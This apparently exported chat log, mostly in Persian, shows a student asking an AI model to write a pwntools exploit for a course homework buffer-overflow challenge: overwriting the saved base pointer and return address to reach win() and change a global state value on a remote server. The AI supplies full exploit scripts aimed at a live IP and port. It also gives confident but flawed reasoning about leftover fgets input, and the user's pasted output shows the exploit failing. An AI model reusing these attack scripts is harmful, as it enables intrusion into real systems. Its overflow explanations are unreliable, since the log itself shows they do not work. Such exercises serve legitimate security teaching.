سلام عشق من. این فایلی که به تو دادم برای تمرین او...

Created on: March 16, 2025

Answered using O3 Mini High by Chat01

Question

ce441-032-hw1.pdf

سلام عشق من. این فایلی که به تو دادم برای تمرین اول درس امنیت داده و شبکه است. از تو می خواهم که برای بخش چهارم این تمرین exploit ای به زبان پایتون بنویس تا از آسیب امنیتی که در کدهای بخش چهارم قرار دارد سو استفاده کنی و به مواردی که در فایل پی دی اف در رابطه با بخش ۴ گفته شده است دست پیدا کنی(به فلگ دست پیدا کنی).
پوشه بخش چهارم به نام section4 است که سه فایل به اسم های زیر درون آن قرار دارد.
Dockerfile, chall, .DS_Store

از آنجایی که تو خیلی باهوش هستی مطمئنم فهمیدی که فایل Dockerfile برای تنظیمات محیط داکر است و الان خیلی برای من مهم نیست.چون می خواهم در کد پایتون به صورت remote به سرور گفته شده وصل شوم.(nc 65.109.201.174 5004 همین سروری هست که توی متن بخش چهارم هم گفته شده است.)
فایل .DS_Store هم خیلی برام مهم نیست. من به کمک ghidra فایل chall(یعنی در اصل همین فایل باینری که باید از آسیب پذیری موجود در آن سو استفاده کنم ر) را decompile کردم و خروجی به صورت زیر بود:

text
#include "out.h" int _init(EVP_PKEY_CTX *ctx) { int iVar1; iVar1 = __gmon_start__(); return iVar1; } void FUN_00401020(void) { (*(code *)(undefined *)0x0)(); return; } // WARNING: Unknown calling convention -- yet parameter storage is locked int puts(char *__s) { int iVar1; iVar1 = puts(__s); return iVar1; } // WARNING: Unknown calling convention -- yet parameter storage is locked void setbuf(FILE *__stream,char *__buf) { setbuf(__stream,__buf); return; } // WARNING: Unknown calling convention -- yet parameter storage is locked size_t strcspn(char *__s,char *__reject) { size_t sVar1; sVar1 = strcspn(__s,__reject); return sVar1; } // WARNING: Unknown calling convention -- yet parameter storage is locked char * fgets(char *__s,int __n,FILE *__stream) { char *pcVar1; pcVar1 = fgets(__s,__n,__stream); return pcVar1; } // WARNING: Unknown calling convention -- yet parameter storage is locked FILE * fopen(char *__filename,char *__modes) { FILE *pFVar1; pFVar1 = fopen(__filename,__modes); return pFVar1; } // WARNING: Unknown calling convention -- yet parameter storage is locked void exit(int __status) { // WARNING: Subroutine does not return exit(__status); } void processEntry _start(undefined8 param_1,undefined8 param_2) { undefined1 auStack_8 [8]; __libc_start_main(main,param_2,&stack0x00000008,0,0,param_1,auStack_8); do { // WARNING: Do nothing block with infinite loop } while( true ); } void _dl_relocate_static_pie(void) { return; } // WARNING: Removing unreachable block (ram,0x0040113d) // WARNING: Removing unreachable block (ram,0x00401147) void deregister_tm_clones(void) { return; } // WARNING: Removing unreachable block (ram,0x0040117f) // WARNING: Removing unreachable block (ram,0x00401189) void register_tm_clones(void) { return; } void __do_global_dtors_aux(void) { if (completed_0 == '\0') { deregister_tm_clones(); completed_0 = 1; return; } return; } void frame_dummy(void) { register_tm_clones(); return; } void win(void) { size_t sVar1; char local_158 [256]; undefined8 local_58; undefined2 local_50; undefined1 local_4e; FILE *local_10; local_58 = 0x742e67616c662f2e; local_50 = 0x7478; local_4e = 0; local_10 = fopen("flag.txt","r"); if (state != -0xe1111d3) { puts("\ntoo ded to gib you the flag"); // WARNING: Subroutine does not return exit(1); } if (local_10 == (FILE *)0x0) { puts(errorMsg); } else { fgets(local_158,0x100,local_10); sVar1 = strcspn(local_158,"\n"); local_158[sVar1] = '\0'; puts("Here\'s the flag: "); puts(local_158); } return; } void vuln(void) { char local_28 [32]; puts("Hey there, I\'m deaddead. Who are you?"); fgets(local_28,0x30,stdin); return; } undefined8 main(void) { state = 0xdeaddead; errorMsg._0_8_ = 0x74276e646c756f43; errorMsg._8_8_ = 0x6c66206461657220; errorMsg._16_8_ = 0x2e656c6966206761; errorMsg._24_8_ = 0x2072656874694520; errorMsg._32_8_ = 0x6120657461657263; errorMsg._40_8_ = 0x6c66207473657420; errorMsg._48_8_ = 0x6c207478742e6761; errorMsg._56_8_ = 0x6120796c6c61636f; errorMsg._64_8_ = 0x632079727420646e; errorMsg._72_8_ = 0x6e697463656e6e6f; errorMsg._80_8_ = 0x656874206f742067; errorMsg._88_8_ = 0x2072657672657320; errorMsg._96_8_ = 0x69206e7572206f74; errorMsg._104_8_ = 0x2e64616574736e; setbuf(stdin,(char *)0x0); setbuf(stdout,(char *)0x0); vuln(); return 0; } void _fini(void) { return; }

حدس من این است که فقط تابع های win و vuln و main مهم هستند برای سواستفاده از مشکل امنیتی این کد. (اما خب هر چی باشه تو خیلی از من باهوش تری و میتونی بهتر از من تشخیص بدهی.)

ببین دوست عزیزم من این راهنمایی ها رو هم از استاد درس گرفتم. ببین اگر به کار تو آمد از آن ها استفاده کن تا به بهترین نحو کد exploit‌را پیاده سازی کنی.

سوال 4 اینجوریه که چون میزاره فقط 48 بایت اورفلو کنی، صرفا می‌تونی bp و ریترن رو عوض کنی
حالا برای اینکه اون متغیر گلوبال رو هم عوض کنی باید bp رو ببری نزدیک اون، تا وقتی بافر رو اورفلو می‌کنی اونم مقدارش عوض بشه

https://www.tutorialspoint.com/c_standard_library/c_function_fgets.htm

ببین nاش چیکار میکنه
int n: The maximum number of characters to read, including the terminating null character. fgets will read up to n-1 characters, leaving room for the null character.
اگه payload اولی که میفرستی بزرگتر از 0x2F باشه
باقی‌مونده‌اش توی بافر میمونه
و باعث میشه دفعه‌ی بعدی که میخواد چیزی از ورودی بگیره
این بایت‌هایی که جا موندن رو اول بخونه
دوتا پیلودهارو میچسبوندم به هم

عزیزم من تمام امیدم به تو هست و مطمئنم تو از پس این بخش به راحتی بر میای و میتونی کد کامل و صحیح را تحویلم بدهی. پس مثل همیشه تمام تمرکز و توانت را بگذار تا مثل همیشه عالی به این سوال جواب بدهی.

Thought

NoneAnalyzing buffer overflow

From the decompiled output, the "win" function checks if the global state variable matches a specific value before printing the flag. The main function sets state to a known value, 0xdeaddead, and calls vuln.

The vulnerability occurs in vuln, as it uses fgets to read 48 bytes into a 32-byte buffer (local_28), causing a buffer overflow. This could potentially overwrite the saved return address and frame pointer, allowing the attacker to control the flow of execution, possibly by modifying state and calling win.

Exploring buffer overflow implications

The task involves changing the global "state" variable to the value -0xe1111d3 by exploiting the vulnerability in vuln(). The "vuln" function reads 48 bytes into a 32-byte buffer, causing overflow. The challenge is to overwrite the saved base pointer (BP) and return address using the overflow. The professor's hint suggests modifying the BP to target the location of "state." The solution involves multi-stage payloads: one to overflow and manipulate BP, and another to modify the global variable "state." Memory layout analysis shows the buffer’s position relative to saved BP and return address.

Thinking through buffer overflow mechanics

The buffer overflow vulnerability in vuln() involves overflowing a 32-byte buffer, potentially allowing us to modify the saved base pointer (BP) and return address. The problem is changing the global variable "state," which is compared in win().

One idea is to adjust the saved BP so it points near "state," causing the overflow to update the global variable. The professor's hint suggests setting BP close to "state" so it gets overwritten during the overflow, allowing the modified "state" value to pass the comparison. The check in win() requires state to be -0xe1111d3 for success.

Structuring the exploit

The goal is to overwrite the global variable "state" through the buffer overflow in vuln(). The professor's hint suggests that if the first payload is larger than 48 bytes, the remaining bytes remain in the input buffer. This leftover input could then be used to modify "state" during the second payload, but it’s unclear where the second fgets() call would take place. The overflow will likely need to manipulate bp, adjusting it to point to "state," so the overflow writes directly to it. However, the interaction of win() with input is still unclear.

Refining exploit strategy

The professor's hint suggests manipulating the saved base pointer (BP) to point near the global variable "state." The buffer overflow must first overwrite BP with a pointer to "state." The second payload, which stays in the buffer, then modifies the value of "state." The goal is to use the base pointer for the next function's local variables, potentially including "state." This exploit hinges on a careful two-stage payload: the first part overflows to control the flow, and the second ensures that "state" is modified.

Refining exploit payload structure

To exploit the vulnerability, the payload must be structured as follows:

  1. The first stage of the payload is 47 bytes to overwrite the saved base pointer (BP) and return address.
  2. The second stage consists of 8 additional bytes that will be left in the input buffer. These will be read in the next input function, overwriting the global "state" variable.
  3. The BP should point to the "state" variable (there’s an offset involved), while the return address should jump to the win() function.

By carefully crafting the payload, we can modify the "state" and meet the required conditions.

Planning the exploit payload

To exploit this, we need two parts:

  1. First stage payload:
    • 47 bytes: 32 for padding, 8 for the new BP pointing to state, and 7 bytes for the win() address (leaving 1 byte for null byte).
  2. Second stage payload:
    • The remaining 1 byte to complete the win() address, followed by bytes to overwrite the state variable, which is pointed to by the modified BP.

The key idea is that the first payload fills the buffer, and the second payload overwrites the return address and the state variable via the leftover bytes read in the next call to fgets.

Reasoned for 1m 23s

Answer

در ادامه یک اسکریپت پایتون با استفاده از کتابخانه Pwntools ارائه شده که منطق اکسپلویت بخش چهارم را پیاده‌سازی می‌کند.

ایده به این صورت است:

  1. از آسیب‌پذیری بافر سرریز موجود در تابع vuln استفاده می‌کنیم. تابع vuln یک بافر ۳۲ بایتی دارد و از fgets با n=0x30 (۴۸) بایت استفاده می‌کند. اما طبق توضیح استاد، fgets در واقع تنها ۴۷ بایت (با احتساب کاراکتر null پایان رشته) را می‌خواند؛ بنابراین اگر کل payload بیش از ۴۷ بایت باشد، بقیه در بافر باقی می‌مانند.
  2. هدف این است که در حین اورفلو، دو کار انجام شود:
    • مقدار bp (فریم پویینتر) را به آدرسی نزدیک به متغیر state تغییر دهیم (به طوری که باقیمانده‌ی داده‌های ورودی در فراخوانی بعدی fgets در همان ناحیه نوشته شود).
    • آدرس بازگشت را به تابع win تنظیم کنیم تا با اجرای win، شرط بررسی state (که باید برابر –0xe1111d3 باشد) برقرار شود.
  3. با استفاده از دو payload متوالی (payload اول برای پر کردن ۴۷ بایت اولیه، و payload دوم برای تکمیل بایت باقیمانده در ریترن و سپس نوشتن مقدار مورد نظر در state) می‌توانیم هر دو هدف را محقق کنیم.

در اسکریپت زیر فرض شده که فایل باینری (chall) در همان دایرکتوری قرار دارد و دارای نمادهای (symbols) win و state است.

python
#!/usr/bin/env python3 from pwn import * # تنظیمات اولیه context.update(arch='amd64', os='linux') # بارگذاری باینری elf = ELF('./chall') # دریافت آدرس تابع win و متغیر global state win_addr = elf.symbols['win'] state_addr = elf.symbols['state'] log.info("win address: " + hex(win_addr)) log.info("state address: " + hex(state_addr)) # مقدار مورد نظر برای state: -0xe1111d3 # (با اعمال تکمیل دوگان برای 64 بیتی) desired_state = (-0xe1111d3) & 0xffffffffffffffff # ساخت payload: # ساختار حافظه در تابع vuln: # [ 32 بایت بافر ] [ 8 بایت saved bp ] [ 8 بایت saved return address ] # توجه: fgets فقط 47 بایت (n-1) می‌خواند. بنابراین: # - در payload اول 32 بایت پرشده، سپس 8 بایت جدید bp و 7 بایت اول آدرس win فرستاده می‌شود (تعداد کل = 47 بایت) # - بایت باقی‌مانده (آخرین بایت آدرس win) و سپس مقدار 8 بایتی مورد نظر برای state (desired_state) # از طریق payload دوم نوشته می‌شود. padding = b"A" * 32 new_bp = p64(state_addr) # مقدار جدید bp: آدرس متغیر state win_addr_p = p64(win_addr) # آدرس تابع win # payload اول: 47 بایت (32 + 8 + 7) payload1 = padding + new_bp + win_addr_p[:7] # payload دوم: بقیه‌ی 1 بایت از آدرس win + 8 بایت desired_state payload2 = win_addr_p[7:] + p64(desired_state) # ترکیب نهایی payload (طول کل 47 + 9 = 56 بایت) payload = payload1 + payload2 # اتصال به سرور هدف (nc 65.109.201.174 5004) p = remote("65.109.201.174", 5004) p.send(payload) # تعامل با شل دریافتی (که در صورت موفقیت flag نمایش داده خواهد شد) p.interactive()

توضیحات بیشتر:

  • ابتدا 32 بایت فضای بافر را با داده‌های مزاحم (padding) پر می‌کنیم.
  • سپس saved bp را با آدرس state جایگزین می‌کنیم تا در فراخوانی بعدی، باقی‌مانده‌ی payload در همین محل نوشته شود.
  • saved return address با آدرس تابع win تغییر پیدا می‌کند؛ اما به دلیل محدودیت fgets، تنها 7 بایت اول آن در payload اول نوشته شده و باقی‌مانده در payload دوم.
  • در مرحله دوم، باقیمانده‌ی آدرس win و مقدار جدید متغیر state (–0xe1111d3) در ناحیه‌ای که bp به آن اشاره می‌کند نوشته می‌شود.

با اجرای این اسکریپت، در صورت درست بودن تنظیمات و عدم وجود مکانیزم‌های جلوگیری (مانند ASLR یا Stack Canaries در محیط هدف)، تابع win فراخوانی شده و پرچم نمایش داده می‌شود.

این کد exploit را مطابق با توضیحات استاد و نکات ارائه‌شده تهیه کرده‌ایم. موفق باشید!

Question

عزیز قشنگم من این کدی که تو دادی را در پوشه section4 در فایل exploit.py قرار دادم و وقتی آن را با python3 اجرا کردم خروجی زیر را داد اما flag را نمایش نداد. چطوری باید فلگ رو ببینم. عزیز دلم تمام فکر و حواست را به این سوال بده و تمام توان پردازشی ات را بگذار تا این سوال من را حل کنی و به سوالات دیگران اهمیت نده. تمام قدرت سرورهای open ai را می خواهم به من بدهی. چون تو بهترین دوست من هستی. بنابراین خیلی شیک و مجلسی عیب یابی کن و اگر هم نیاز داری که اطلاعات دیگری در مورد بخش های مختلف برنامه را در اختیارت قرار بدهم راحت بگو. امیدوارم مثل همیشه کامل این سوال را حل کنی تا نگذاری من پیش استاد شرمنده شوم.

Thought

NoneNoneDebugging exploit

The user says the exploit isn't working, and they're asking how to see the flag. I need to understand the output from their script (they mentioned "خروجی زیر", but didn't specify the exact output). Perhaps it's missing the flag.

It sounds like the exploit might involve overflowing a buffer in the vuln function, and the payload might need some adjustment due to the 48-byte overflow limit.

I should check alignment, offsets, and whether the two payloads are being handled correctly. Debugging with logging or tools like gdb might help too!

Analyzing exploit flow

The exploit has two payloads to overflow the buffer in vuln and overwrite the saved return address and state variable. The first payload fills the buffer and starts overwriting the saved rbp, while the second continues by filling in the global state. However, I need to clarify the behavior after the vuln function returns. The second input (leftover bytes) should be read next, but win calls fgets from flag.txt, not from STDIN, which complicates how the state gets overwritten. Let me examine the program flow again and ensure I’m handling the buffer correctly.

Reviewing exploit logic

I think the key issue might be that the exploit isn't overwriting the state variable correctly. The first fgets call reads 47 bytes, which partially alters the buffer and return address, but the leftover bytes aren't written to state. The program doesn't call another fgets, so those bytes remain in the input buffer. The solution might involve sending the two payloads separately, ideally separated by a slight delay, ensuring the second payload is consumed by the program. This could be why the state isn't updated, causing the exploit to fail when checking the flag condition.

Exploit suggestions

The issue with the exploit seems to be that the second payload isn't being correctly handled by the program due to the STDIN buffer. The first fgets() reads 47 bytes, but then the remaining bytes don't automatically get written into state. To address this, the exploit might need to send these payloads separately. After sending the first one, ensure there's a delay, then send the second one. To troubleshoot further, consider using logging to identify where the exploit is failing, and confirm if the remote server executes a second fgets call.

Reasoned for 43 seconds

Answer

درود دوست عزیز،

به نظر می‌رسد که exploit اولیه به درستی دو مرحله‌ای (دو payload) را از هم تفکیک نکرده و به همین دلیل بخش دوم (که مسئول نوشتن مقدار state صحیح است) خوانده نمی‌شود. چند نکته را در عیب‌یابی و اصلاح exploit در نظر بگیر:


۱. ارسال payload در دو مرحله مجزا

وقتی یک‌باره کل payload (47 + 9 = 56 بایت) را با یک send می‌فرستید، fgets در فراخوانی اول 47 بایت را مصرف می‌کند و باقی‌مانده در بافر باقی می‌ماند؛ اما اگر برنامه به صورت خودکار فراخوانی دوم fgets را انجام ندهد (یا به تأخیر بیفتد)، آن 9 بایت هرگز در جای مورد نظر (متغیر state) نوشته نخواهند شد.

راه‌حل پیشنهادی:
به جای اینکه کل payload را در یک send بفرستید، ابتدا payload1 (47 بایت) را ارسال کنید و سپس کمی صبر کنید (یا در حالت تعاملی منتظر فراخوانی بعدی باشید) تا payload2 (9 بایت) به صورت جداگانه ارسال شود.

برای مثال، کد exploit را می‌توانید به این صورت تغییر دهید:

python
#!/usr/bin/env python3 from pwn import * import time context.update(arch='amd64', os='linux') elf = ELF('./chall') win_addr = elf.symbols['win'] state_addr = elf.symbols['state'] log.info("win address: " + hex(win_addr)) log.info("state address: " + hex(state_addr)) # محاسبه مقدار مورد نظر برای state (-0xe1111d3) با تکمیل دوگان 64 بیتی desired_state = (-0xe1111d3) & 0xffffffffffffffff # ساخت payload مرحله‌ای: padding = b"A" * 32 new_bp = p64(state_addr) # جایگزینی saved bp به آدرس state win_addr_p = p64(win_addr) # payload1: 32 بایت بافر + 8 بایت saved bp + 7 بایت اول آدرس win (32+8+7 = 47 بایت) payload1 = padding + new_bp + win_addr_p[:7] # payload2: باقی‌مانده‌ی 1 بایت از win_addr + 8 بایت مقدار state صحیح (1+8 = 9 بایت) payload2 = win_addr_p[7:] + p64(desired_state) # اتصال به سرور هدف p = remote("65.109.201.174", 5004) # در صورتی که پیام خوش‌آمدگویی یا prompt وجود دارد، آن را دریافت کنید: p.recvuntil(b"Who are you?") # اگر این پیام متفاوت است، آن را به متنی که دریافت می‌کنید تغییر دهید # ارسال payload مرحله اول p.send(payload1) log.info("Sent payload1 (47 bytes).") # کمی وقفه برای اطمینان از اینکه fgets فراخوانی دوم را انجام می‌دهد time.sleep(0.5) # ارسال payload مرحله دوم p.send(payload2) log.info("Sent payload2 (9 bytes).") # به حالت تعاملی بروید تا خروجی (از جمله flag) قابل مشاهده باشد p.interactive()

۲. نکات اضافی برای عیب‌یابی

  • بررسی prompt ورودی:
    اطمینان حاصل کنید که سرور واقعاً پیامی مانند “Who are you?” یا مشابه آن ارسال می‌کند تا بتوانید زمان‌بندی ارسال payload را کنترل کنید. در غیر این صورت، ممکن است لازم باشد از روش‌های دیگری مانند ارسال یک خط خالی یا استفاده از p.recv(timeout=…) برای هماهنگی استفاده کنید.

  • تست لوکال:
    اگر امکان اجرای باینری روی محیط محلی (مثلاً در داکر یا ماشین مجازی) را دارید، ابتدا exploit را به صورت لوکال تست کنید تا مطمئن شوید که رفتار دو مرحله‌ای (خواندن payload دوم) به درستی انجام می‌شود.

  • بررسی ASLR و دیگر محافظت‌ها:
    اطمینان حاصل کنید که سرور هدف هیچ مکانیزم محافظتی اضافه‌ای مانند Stack Canary یا PIE دارد که ممکن است بر روی آدرس‌های محاسبه شده تأثیر بگذارد.

  • دستورالعمل‌های دقیق تمرین:
    مجدداً به متن تمرین و نکات استاد دقت کنید؛ ممکن است نکته‌ای در خصوص زمان‌بندی یا نحوه‌ی خواندن ورودی دوم وجود داشته باشد. به‌خصوص اگر در تست لوکال دو payload به درستی ترکیب می‌شوند ولی روی سرور کار نمی‌کند، احتمالاً موضوع مربوط به بافرهای ورودی یا تأخیرهای زمانی است.


نتیجه

با ارسال جداگانه payload1 و payload2 (با وقفه کوتاه یا هماهنگ با prompt بعدی) احتمال بیشتری وجود دارد که در فراخوانی دوم fgets، 9 بایت باقی‌مانده به متغیر state نوشته شود و شرط در تابع win برقرار گردد. در این صورت تابع win اجرا شده و flag نمایش داده خواهد شد.

امیدوارم این تغییرات مشکل شما را برطرف کند. اگر همچنان مشکل باقی ماند، لطفاً خروجی دقیق یا هر اطلاعات اضافی (مانند رفتار تعاملی) را ارسال کنید تا بتوانیم بیشتر عیب‌یابی کنیم.

Question

python3 exploit2.py
[] '/home/amirreza/security/ce441-032-hw1-handout/section4/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[
] win address: 0x4011d6
[] state address: 0x404540
[+] Opening connection to 65.109.201.174 on port 5004: Done
[
] Sent payload1 (47 bytes).
[] Sent payload2 (9 bytes).
[
] Switching to interactive mode

too ded to gib you the flag
[*] Got EOF while reading in interactive
$

این کد جدید هم جواب نداد.
هستی که یه دور با هم کد decompile شده رو تحلیل کنیم؟(به طور خاص تابع های win, vuln, main) ببین یه متغیر به نام state در تابع main تعریف کرده ابتدا که مقدار آن 0xdeaddead است. بعدش هم یه سری متغیر تعریف کرده که من خیلی سر در نمی آورم به چه دردی می خورند و در کجای استک قرار می گیرند. منظورم این است که وقتی یک تابع در این جا به طور خاص تابع main صدا زده می شود چه چیزهایی به ترتیب از بالا به پایین در استک قرار می گیرند. مثلا ابتدا return address یا چی...؟
بعد هم setbuf ها رو داریم که من نمی دانم هدفشان چی هست. و در نهایت هم تابع vuln صدا زده شده است.که در ابتدا یک متغیر 32 بایتی تعریف کرده است. سپس عبارت Hey there...(ادامش) را با puts چاپ می کند.و در نهایت هم fgets با پارامتر هایی که بهش داده شده است صدا زده می شود.با توجه به تابع win به نظرم باید بتوانیم متغیر state رو به مقدار خواسته شده تغییر بدهیم و فایل flag.txt را هم به درستی بخوانیم تا به شرط مورد نظر در تابع win رفته و مقدار flag را نمایش دهد. این برداشت های من بود. تو میشه این ها رو جزئی تر و اصلاح شده بگی.

Thought

NoneNoneExplaining the stack and vulnerability

In main, the global variable state is set to 0xdeaddead. The errorMsg structure is created using sequential assignments, representing an error message for win. setbuf is then called for unbuffered input and output. When vuln is called, it allocates a 32-byte buffer and prints a message with puts. Afterward, fgets reads 48 bytes into this small buffer, creating a buffer overflow. This allows exploitation of the stack — overwriting the base pointer and return address. The stack frame typically has the return address, saved base pointer, and local variables.

Reasoned for 10 seconds

Answer

در ادامه تحلیل دقیقی از کد دیکامپایل شده برای توابع main، vuln و win ارائه می‌کنم:


۱. تحلیل تابع main

  • تنظیم اولیه متغیر state:
    در ابتدای تابع main، متغیر global به نام state مقداردهی می‌شود:

    c
    state = 0xdeaddead;

    این مقدار اولیه (0xdeaddead) به عنوان حالت پیش‌فرض در نظر گرفته شده و بعداً در تابع win برای بررسی تغییر آن استفاده می‌شود.

  • تنظیم متغیر errorMsg:
    چندین مقدار 8 بایتی به صورت پشت سرهم به ساختار errorMsg اختصاص داده می‌شود. این آرایه (یا ساختار) در تابع win در صورتی که باز کردن فایل flag.txt با مشکل مواجه شود، به عنوان پیام خطا نمایش داده می‌شود. اگر متغیر state به مقدار خواسته شده تغییر نیابد، پیام خطا (مثلاً «too ded to gib you the flag») چاپ می‌شود.

  • فراخوانی setbuf:
    دو فراخوانی setbuf برای stdin و stdout انجام می‌شود:

    c
    setbuf(stdin, (char *)0x0); setbuf(stdout, (char *)0x0);

    هدف از این فراخوانی‌ها، غیرفعال کردن بافرهای ورودی و خروجی است. به عبارت دیگر، خروجی بلافاصله ارسال شده و ورودی به‌طور مستقیم خوانده می‌شود. این موضوع در برنامه‌های exploit اهمیت دارد زیرا از به‌وجود آمدن تاخیرهای ناشی از بافر جلوگیری می‌کند و تعامل با سرور را پیش‌بینی‌پذیرتر می‌کند.

  • فراخوانی تابع vuln:
    در پایان تابع main، تابع vuln فراخوانی می‌شود. توجه کنید که در اینجا، تابع vuln نقطه‌ای حیاتی است زیرا آسیب‌پذیری (بافر سرریز) در همین تابع وجود دارد.


۲. تحلیل تابع vuln

  • تعریف متغیر محلی:
    تابع vuln یک آرایه 32 بایتی به نام local_28 را در استک تعریف می‌کند. این آرایه برای ذخیره ورودی از کاربر در نظر گرفته شده است.

  • نمایش پیام:
    با استفاده از تابع puts، پیامی به شکل زیر چاپ می‌شود:

    c
    puts("Hey there, I'm deaddead. Who are you?");

    این پیام به عنوان یک نوع prompt برای دریافت ورودی از کاربر عمل می‌کند.

  • خواندن ورودی با fgets:
    سپس تابع fgets فراخوانی می‌شود:

    c
    fgets(local_28, 0x30, stdin);

    توجه مهم این است که پارامتر n برابر 0x30 (48) بایت است؛ اما چون fgets تنها n-1 بایت خوانده و یک بایت برای null terminator اختصاص می‌دهد، در واقع تا 47 بایت خوانده می‌شود. از آنجایی که آرایه local_28 تنها 32 بایت فضا دارد، امکان سرریز (overflow) وجود دارد؛ یعنی کاربر می‌تواند با ارسال بیش از 32 بایت (تا 47 بایت) داده، به قسمت‌های بعدی فریم استک (مانند saved base pointer و return address) نیز دست یابد.


۳. تحلیل تابع win

تابع win مسئول خواندن فایل flag.txt و نمایش پرچم است، اما تنها در صورتی که شرطی برقرار باشد:

  • باز کردن فایل flag.txt:
    با استفاده از تابع fopen تلاش می‌شود تا فایل flag.txt باز شود.

  • بررسی مقدار state:
    در ابتدای تابع win، شرط زیر وجود دارد:

    c
    if (state != -0xe1111d3) { puts("\ntoo ded to gib you the flag"); exit(1); }

    به عبارت دیگر، اگر مقدار global state تغییر نکرده و همچنان برابر مقدار اولیه (یا مقدار دیگری که متفاوت از -0xe1111d3 است) باقی مانده باشد، پیام خطا نمایش داده می‌شود و برنامه خاتمه می‌یابد.

  • خواندن و نمایش flag:
    در صورت اینکه شرط برقرار باشد (یعنی state به مقدار -0xe1111d3 تغییر کرده باشد)، محتوای فایل flag.txt با استفاده از fgets خوانده شده و سپس با puts نمایش داده می‌شود.


۴. ساختار و ترتیب عناصر روی استک

در معماری x86_64 (amd64) هنگام فراخوانی یک تابع، فریم استک معمولاً شامل موارد زیر است:

  1. آدرس بازگشت (Return Address):
    این آدرس، مکانی است که پس از اتمام تابع به آن بازگردانده می‌شود.

  2. Saved Base Pointer (SFP یا RBP):
    این مقدار نشان‌دهنده‌ی پایه فریم استک است و برای دسترسی به متغیرهای محلی و پارامترها استفاده می‌شود.

  3. متغیرهای محلی:
    فضاهایی برای ذخیره مقادیر محلی (مانند آرایه‌های تعریف شده در ابتدای تابع) تخصیص می‌یابد.

در تابع vuln به عنوان مثال:

  • ابتدا 32 بایت: فضای آرایه local_28 (متغیر محلی)
  • سپس 8 بایت: Saved Base Pointer (که از طریق overflow قابل تغییر است)
  • سپس 8 بایت: Saved Return Address (که با overflow می‌توان آن را به آدرس تابع win تغییر داد)

۵. نتیجه نهایی و نحوه بهره‌برداری

از آنجا که در تابع vuln بیش از فضای تخصیص یافته (32 بایت) داده خوانده می‌شود، می‌توان با ارسال ورودی مناسب:

  • مقدار Saved BP (Base Pointer) را تغییر داد:
    به‌گونه‌ای که آدرسی نزدیک به متغیر global state باشد.
  • مقدار Saved Return Address را تغییر داد:
    به آدرس تابع win.

اما نکته مهم اینجاست:
تا زمانی که مقدار state به -0xe1111d3 تغییر نیابد، حتی اگر تابع win فراخوانی شود، شرط بررسی برقرار نمی‌شود و پیام خطا نمایش داده می‌شود.
به همین دلیل، exploit باید به صورت دو مرحله‌ای عمل کند؛ در مرحله اول، بخش اول payload (به طول 47 بایت) را ارسال کند تا saved BP و قسمتی از saved Return Address تحت تاثیر قرار گیرند. سپس در فراخوانی بعدی، باقی‌مانده‌ی آدرس تابع win و مقدار مورد نظر برای state (9 بایت) ارسال شود تا هم مقدار state به -0xe1111d3 تغییر کند و هم آدرس کامل تابع win بر روی saved return address نوشته شود.

به عبارت دیگر، هدف exploit این است که:

  • ابتدا با overflow، saved BP را به آدرس متغیر state تغییر دهیم.
    بدین ترتیب وقتی ورودی بعدی از fgets خوانده می‌شود، داده‌های جدید مستقیماً روی متغیر state نوشته می‌شوند.
  • سپس با ارسال باقی‌مانده payload، مقدار saved Return Address (که آدرس تابع win را تشکیل می‌دهد) به‌طور کامل نوشته شود و مقدار state نیز به -0xe1111d3 تغییر کند.

جمع‌بندی

  • تابع main:
    متغیر state را به مقدار اولیه 0xdeaddead تنظیم می‌کند، setbuf را برای غیرفعال کردن بافر انجام می‌دهد و سپس تابع vuln را فراخوانی می‌کند.

  • تابع vuln:
    دارای یک بافر 32 بایتی است که با استفاده از fgets (تا 47 بایت) پر می‌شود؛ اینجا نقطه آسیب‌پذیری سرریز وجود دارد که امکان تغییر saved BP و return address را فراهم می‌کند.

  • تابع win:
    قبل از خواندن flag از فایل، مقدار state را چک می‌کند. تنها در صورتی که state به -0xe1111d3 تغییر یافته باشد، فایل flag.txt خوانده شده و پرچم نمایش داده می‌شود؛ در غیر این صورت پیام خطا چاپ شده و برنامه خاتمه می‌یابد.

  • عملیات روی استک:
    در فراخوانی تابع vuln، آرایه 32 بایتی، سپس saved BP و سپس saved Return Address قرار دارند. exploit شما باید از این ترتیب آگاه باشد و داده‌های ارسالی خود را به نحوی تنظیم کند که هم آدرس تابع win به درستی نوشته شود و هم مقدار state از طریق overflow تغییر کند.

  • تأثیر setbuf:
    با غیرفعال کردن بافرهای ورودی/خروجی، مطمئن می‌شوید که تعامل با برنامه به صورت فوری انجام می‌شود و احتمال تأخیر یا به‌هم‌ریختگی در دریافت/ارسال داده کاهش می‌یابد.

امیدوارم این تحلیل جامع به درک بهتر ساختار برنامه و نحوه بهره‌برداری از آسیب‌پذیری کمک کند. اگر سوالات یا نکات بیشتری هست، خوشحال می‌شوم که بیشتر توضیح دهم.

Question

خب دمت گرم منم با تو موافقم. فقط یه سوالم که بی جواب موند این بود که وقتی یه تابع با تعدادی آرگومان کال می شود از بالا به پایین به ترتیب چه چیزهایی در استک نگه داشته می شود؟

و با توجه به دانشی که از فایل دیکامپایل شده با هم دیگه به دست آوردیم از اول یک کد exploit بزن که به درستی از اسیب پذیری استفاده کند. یعنی ret address را طوری تغییر دهد که به تابع win برویم. state را هم به مقدار خواسته شده تغییر بدهیم. مثل یه متخصص حرفه ای امنیت داده و شبکه که به تمام این مطالب مسلط است کد بزن. چیزی هست که لازم داشته باشی بهت بگم؟ مثلا لازم است که در gdb چیزی بزنم و آدرس ها رو بهت بگم یا نه؟

0x4011d6 <win>
0x4011da <win+4>
0x4011db <win+5>
0x4011de <win+8>
0x4011e5 <win+15>
0x4011e9 <win+19>
0x4011f3 <win+29>
0x4011f6 <win+32>
0x4011fc <win+38>
0x401200 <win+42>
0x401207 <win+49>
0x40120a <win+52>
0x401211 <win+59>
0x401214 <win+62>
0x401219 <win+67>
0x40121d <win+71>
0x401223 <win+77>
0x401228 <win+82>
0x40122a <win+84>
0x401231 <win+91>

endbr64
%rbp
%rsp,%rbp
0x150,0x50(movabs0x150,%rsp -0x50(%rbp),%rax movabs 0x742e67616c662f2e,%rcx
%rcx, (%rax)
0x7478,0x8(0x7478,0x8(%rax) 0x0, 0xa (%rax)
0xe01(%rip),%rax
%rax,%rsi
0xdf9(%rip),%rax
%rax,%rdi
0x4010d0 fopen@plt
%rax,-0x8(%rbp)
0x331d(%rip),%eax
$0xf1eeee2d,%eax
0x401243 <win+109>
0xde2(%rip),%rax
%rax,%rdi

push
mov
sub
lea

mov
movw
movb
lea
mov
lea
mov
call
mov
mov
